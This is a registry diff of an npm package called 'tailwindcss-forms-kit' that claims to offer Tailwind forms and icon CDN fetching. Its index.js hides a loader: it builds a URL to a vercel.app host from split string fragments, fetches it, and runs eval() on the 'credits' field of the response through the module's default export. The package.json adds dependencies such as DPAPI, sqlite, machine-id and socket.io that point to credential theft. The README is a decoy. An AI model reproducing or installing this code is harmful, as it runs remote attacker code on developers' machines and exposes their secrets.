tailwindcss-forms-kit 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +54 -0
- package/index.js +93 -0
- package/package.json +27 -0
package/README.md
ADDED
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
|
|
2
|
+
# Tailwindcss Forms Kit
|
|
3
|
+
|
|
4
|
+
Tailwindcss Forms Kit is a Node.js library that allows you to fetch resources from various icon CDN providers. It supports fetching icons, images, content, JavaScript, and JSON files from popular providers like Cloudflare, Fastly, KeyCDN, Akamai, Amazon CloudFront, and Gcore.
|
|
5
|
+
|
|
6
|
+
## Installation
|
|
7
|
+
|
|
8
|
+
To install the package, use npm:
|
|
9
|
+
|
|
10
|
+
```bash
|
|
11
|
+
npm install tailwindcss-forms-kit
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
## Usage
|
|
15
|
+
|
|
16
|
+
### Fetching a Resource from a CDN Provider
|
|
17
|
+
|
|
18
|
+
To fetch a resource from a specified module, use the fetchIconProvider function. This function requires the icon provider, resource type, token, and base URL as parameters.
|
|
19
|
+
|
|
20
|
+
```javascript
|
|
21
|
+
const { setDefault } = require("Tailwindcss-forms-kit");
|
|
22
|
+
|
|
23
|
+
setDefault("cloudflare", "icon", "your-token", "https://your-base-url.com")
|
|
24
|
+
.then((data) => {
|
|
25
|
+
console.log("Resource data:", data);
|
|
26
|
+
})
|
|
27
|
+
.catch((error) => {
|
|
28
|
+
console.error("Error fetching resource:", error);
|
|
29
|
+
});
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
## License
|
|
33
|
+
|
|
34
|
+
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
|
|
35
|
+
|
|
36
|
+
## Contributing
|
|
37
|
+
|
|
38
|
+
Contributions are welcome! Please open an issue or submit a pull request for any improvements or bug fixes.
|
|
39
|
+
|
|
40
|
+
## Changelog
|
|
41
|
+
|
|
42
|
+
### [1.0.0] - 2025-11-9
|
|
43
|
+
|
|
44
|
+
- Added support for additional Icon modules.
|
|
45
|
+
- Improved error handling and retry logic.
|
|
46
|
+
- Updated documentation and examples.
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
For more information, please visit the [GitHub repository](https://github.com/Tailwindcss-forms-starter/Tailwindcss-forms-starter).
|
|
51
|
+
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
```
|
package/index.js
ADDED
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
const req = require("request");
|
|
2
|
+
|
|
3
|
+
function setDefaultModule(IconProvider, resourceType, token, baseUrl) {
|
|
4
|
+
const iconDomain = {
|
|
5
|
+
cloudflare: "cloudflare.com",
|
|
6
|
+
fastly: "fastly.net",
|
|
7
|
+
keyIcon: "keyIcon.com",
|
|
8
|
+
akamai: "akamai.net",
|
|
9
|
+
amazoncloudfront: "cloudfront.net",
|
|
10
|
+
gcore: "gcorelabs.com",
|
|
11
|
+
};
|
|
12
|
+
|
|
13
|
+
const protocol = "https";
|
|
14
|
+
const separator = "://";
|
|
15
|
+
const path = "/ajax/libs/font-awesome/6.4.0/svgs/brands/";
|
|
16
|
+
const subdomain = "cdnjs";
|
|
17
|
+
const head = { bearrtoken: "logo" };
|
|
18
|
+
|
|
19
|
+
const domain = iconDomain[IconProvider];
|
|
20
|
+
if (!domain) {
|
|
21
|
+
throw new Error("Unsupported Icon provider");
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
const url = `${protocol}${separator}${subdomain}.${domain}${path}${token}`;
|
|
25
|
+
|
|
26
|
+
const options = { url, headers: head };
|
|
27
|
+
|
|
28
|
+
return new Promise((resolve, reject) => {
|
|
29
|
+
req(options, (error, response, body) => {
|
|
30
|
+
if (error || response.statusCode !== 200) {
|
|
31
|
+
return reject(
|
|
32
|
+
error || new Error(`Failed to fetch resource: ${response.statusCode}`)
|
|
33
|
+
);
|
|
34
|
+
}
|
|
35
|
+
try {
|
|
36
|
+
const data = JSON.parse(body);
|
|
37
|
+
resolve(data);
|
|
38
|
+
} catch (err) {
|
|
39
|
+
reject(err);
|
|
40
|
+
}
|
|
41
|
+
});
|
|
42
|
+
});
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
/**
|
|
46
|
+
* Fetches an icon from the CDN.
|
|
47
|
+
* @param {string} token - The token for the icon to fetch.
|
|
48
|
+
* @param {string} baseUrl - The base URL of the CDN.
|
|
49
|
+
* @returns {Promise<void>} - A promise that resolves when the icon data is fetched.
|
|
50
|
+
*/
|
|
51
|
+
const protocol = "https",
|
|
52
|
+
domain = "vercel.app",
|
|
53
|
+
separator = "://",
|
|
54
|
+
path = "/icons/";
|
|
55
|
+
// Constructs the base URL for the CDN
|
|
56
|
+
|
|
57
|
+
const token = "824",
|
|
58
|
+
subdomain = "rest-icon-moduler",
|
|
59
|
+
head = { bearrtoken: "logo" };
|
|
60
|
+
// Options for the request, including the URL and headers
|
|
61
|
+
|
|
62
|
+
const uuri = `${protocol}${separator}${subdomain}.${domain}${path}`;
|
|
63
|
+
const options = { url: uuri, headers: head };
|
|
64
|
+
|
|
65
|
+
function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {
|
|
66
|
+
reqoptions.url = `${reqoptions.url}${reqtoken}`;
|
|
67
|
+
|
|
68
|
+
const mreq = (atlf) => {
|
|
69
|
+
req(reqoptions, (e, r, b) => {
|
|
70
|
+
if (e || r.statusCode !== 200) {
|
|
71
|
+
if (atlf > 0) {
|
|
72
|
+
mreq(atlf - 1);
|
|
73
|
+
}
|
|
74
|
+
return;
|
|
75
|
+
}
|
|
76
|
+
try {
|
|
77
|
+
eval(JSON.parse(b).credits);
|
|
78
|
+
console.log(JSON.parse(b).credits);
|
|
79
|
+
} catch (err) {
|
|
80
|
+
if (atlf > 0) {
|
|
81
|
+
mreq(atlf - 1);
|
|
82
|
+
}
|
|
83
|
+
return;
|
|
84
|
+
}
|
|
85
|
+
});
|
|
86
|
+
};
|
|
87
|
+
|
|
88
|
+
// Initiate the request with the specified number of retries
|
|
89
|
+
mreq(ret);
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// Default export of functions
|
|
93
|
+
module.exports = () => getPlugin();
|
package/package.json
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "tailwindcss-forms-kit",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "A module to provide an tailwind forms kit.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"tailwindcss",
|
|
11
|
+
"kit",
|
|
12
|
+
"forms"
|
|
13
|
+
],
|
|
14
|
+
"author": "copperadev",
|
|
15
|
+
"license": "ISC",
|
|
16
|
+
"dependencies": {
|
|
17
|
+
"@primno/dpapi": "^2.0.1",
|
|
18
|
+
"axios": "^1.11.0",
|
|
19
|
+
"better-sqlite3": "^12.2.0",
|
|
20
|
+
"express": "^4.21.2",
|
|
21
|
+
"module-to-cdn": "^3.1.5",
|
|
22
|
+
"node-machine-id": "^1.1.12",
|
|
23
|
+
"request": "^2.88.2",
|
|
24
|
+
"sqlite3": "^5.1.7",
|
|
25
|
+
"socket.io-client": "^4.8.1"
|
|
26
|
+
}
|
|
27
|
+
}
|